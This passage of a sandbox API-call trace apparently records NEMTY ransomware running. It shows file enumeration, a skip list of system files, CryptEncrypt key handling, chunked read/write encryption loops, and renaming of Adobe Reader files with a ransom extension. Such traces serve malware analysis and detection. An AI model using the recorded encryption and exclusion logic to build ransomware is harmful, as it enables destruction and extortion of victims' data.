lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0196.007] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0196.007] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0196.016] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0196.016] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0196.016] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0196.016] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0196.025] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0196.025] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0196.025] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0196.025] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0196.034] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0196.034] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0196.035] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0196.035] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0196.044] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0196.044] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0196.044] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0196.044] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0196.055] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0196.055] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0196.055] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0196.055] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0196.064] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0196.064] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0196.064] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0196.064] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0196.074] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0196.074] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0196.074] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0196.074] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0196.084] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0196.084] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0196.084] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0196.084] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0196.093] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0196.093] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0196.093] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0196.093] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0196.099] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0196.099] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0196.099] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0196.099] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0196.105] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0196.105] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0196.105] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0196.105] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6348d60, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0196.105] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0196.105] CloseHandle (hObject=0xffffffff) returned 0 [0196.105] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0196.105] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0196.105] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0196.105] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0196.105] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0196.106] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0196.106] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0196.106] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0196.106] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0196.106] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0196.106] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\90pv-RKSJ-UCS2" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\90pv-rksj-ucs2"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\90pv-RKSJ-UCS2._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\90pv-rksj-ucs2._nemty_kgobjgd_")) returned 0 [0196.106] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0196.106] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0196.106] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0196.106] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0196.106] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0196.106] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0196.106] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0196.106] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346df8 | out: hHeap=0x4f90000) returned 1 [0196.106] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fa65a00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x190bf, dwReserved0=0x0, dwReserved1=0x0, cFileName="90pv-RKSJ-UCS2C", cAlternateFileName="90PV-R~3")) returned 1 [0196.106] lstrcmpiW (lpString1="90pv-RKSJ-UCS2C", lpString2=".") returned 1 [0196.106] lstrcmpiW (lpString1="90pv-RKSJ-UCS2C", lpString2="..") returned 1 [0196.106] lstrcmpiW (lpString1="90pv-RKSJ-UCS2C", lpString2="...") returned 1 [0196.106] lstrcmpiW (lpString1="90pv-RKSJ-UCS2C", lpString2="windows") returned -1 [0196.106] lstrcmpiW (lpString1="90pv-RKSJ-UCS2C", lpString2="$RECYCLE.BIN") returned 1 [0196.106] lstrcmpiW (lpString1="90pv-RKSJ-UCS2C", lpString2="rsa") returned -1 [0196.106] lstrcmpiW (lpString1="90pv-RKSJ-UCS2C", lpString2="NTDETECT.COM") returned -1 [0196.106] lstrcmpiW (lpString1="90pv-RKSJ-UCS2C", lpString2="ntldr") returned -1 [0196.106] lstrcmpiW (lpString1="90pv-RKSJ-UCS2C", lpString2="MSDOS.SYS") returned -1 [0196.106] lstrcmpiW (lpString1="90pv-RKSJ-UCS2C", lpString2="IO.SYS") returned -1 [0196.106] lstrcmpiW (lpString1="90pv-RKSJ-UCS2C", lpString2="boot.ini") returned -1 [0196.106] lstrcmpiW (lpString1="90pv-RKSJ-UCS2C", lpString2="boot.ini") returned -1 [0196.106] lstrcmpiW (lpString1="90pv-RKSJ-UCS2C", lpString2="AUTOEXEC.BAT") returned -1 [0196.106] lstrcmpiW (lpString1="90pv-RKSJ-UCS2C", lpString2="ntuser.dat") returned -1 [0196.106] lstrcmpiW (lpString1="90pv-RKSJ-UCS2C", lpString2="desktop.ini") returned -1 [0196.106] lstrcmpiW (lpString1="90pv-RKSJ-UCS2C", lpString2="CONFIG.SYS") returned -1 [0196.106] lstrcmpiW (lpString1="90pv-RKSJ-UCS2C", lpString2="RECYCLER") returned -1 [0196.106] lstrcmpiW (lpString1="90pv-RKSJ-UCS2C", lpString2="BOOTSECT.BAK") returned -1 [0196.107] lstrcmpiW (lpString1="90pv-RKSJ-UCS2C", lpString2="bootmgr") returned -1 [0196.107] lstrcmpiW (lpString1="90pv-RKSJ-UCS2C", lpString2="programdata") returned -1 [0196.107] lstrcmpiW (lpString1="90pv-RKSJ-UCS2C", lpString2="appdata") returned -1 [0196.107] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0196.107] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="90pv-RKSJ-UCS2C", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0196.107] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="90pv-RKSJ-UCS2C", cchWideChar=15, lpMultiByteStr=0x653ebd0, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="90pv-RKSJ-UCS2C", lpUsedDefaultChar=0x0) returned 15 [0196.107] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0196.107] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="90pv-RKSJ-UCS2C", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0196.107] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="90pv-RKSJ-UCS2C", cchWideChar=15, lpMultiByteStr=0x653ebd0, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="90pv-RKSJ-UCS2C", lpUsedDefaultChar=0x0) returned 15 [0196.107] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0196.107] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0196.107] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0196.107] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="90pv-RKSJ-UCS2C", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0196.107] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="90pv-RKSJ-UCS2C", cchWideChar=15, lpMultiByteStr=0x653ec20, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="90pv-RKSJ-UCS2C", lpUsedDefaultChar=0x0) returned 15 [0196.107] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0196.107] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0196.107] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="90pv-RKSJ-UCS2C", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0196.107] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="90pv-RKSJ-UCS2C", cchWideChar=15, lpMultiByteStr=0x653ec58, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="90pv-RKSJ-UCS2C", lpUsedDefaultChar=0x0) returned 15 [0196.107] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0196.107] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346df8 [0196.107] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0196.107] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0196.107] Sleep (dwMilliseconds=0x5) [0196.121] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x288b4b30, dwHighDateTime=0x1d561e8)) [0196.121] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x288b4b30, dwHighDateTime=0x1d561e8)) [0196.121] GetLastError () returned 0x5 [0196.121] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0196.121] GetLastError () returned 0x5 [0196.121] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0196.121] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0196.121] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0196.121] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0196.121] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0196.122] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0196.122] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6348ed8 [0196.122] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6348ed8, pcchString=0x653e91c | out: pszString="QhpNciuNbQOsKTHWqAl03yoouf5ddeI31Nvydg1QfNxx07aN6tGrc4Ftz9igtiFJ\r\nBYGa1g7xNhkMKLggRsMHwev2HODvGV3sS1BGQm0/gWbqES3DxG14qlo+dn9t7y2i\r\niBG1Sa5rDYtd5Le18zTEuANZhzQvFvWjr94boFGPyrPogrQFkAblDnM4JPXhiTVA\r\ngmK/nSnyLMXzeFiwmcynkS8RamHqX/7n8mZx0XjE4u50tukhVy5wnFhnlz/aCQ1B\r\n375NjZMSvulFWsf5RuZnAoLcWxbJaDC4wq06qhjNPXarh6EsmwSigyBTeqMwr3xH\r\ncfka2i/dqfelpKxzLYpQaw==\r\n", pcchString=0x653e91c) returned 1 [0196.122] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6349050 [0196.122] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0196.122] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0196.122] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0196.122] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6348ed8 [0196.122] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0196.122] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\90pv-RKSJ-UCS2C" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\90pv-rksj-ucs2c"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0196.122] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0196.122] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6352c48 [0196.122] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0196.122] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0196.131] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0196.131] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0196.131] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0196.131] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0196.141] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0196.141] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0196.141] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0196.141] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0196.150] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0196.150] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0196.150] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0196.150] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0196.159] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0196.159] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0196.159] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0196.159] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, 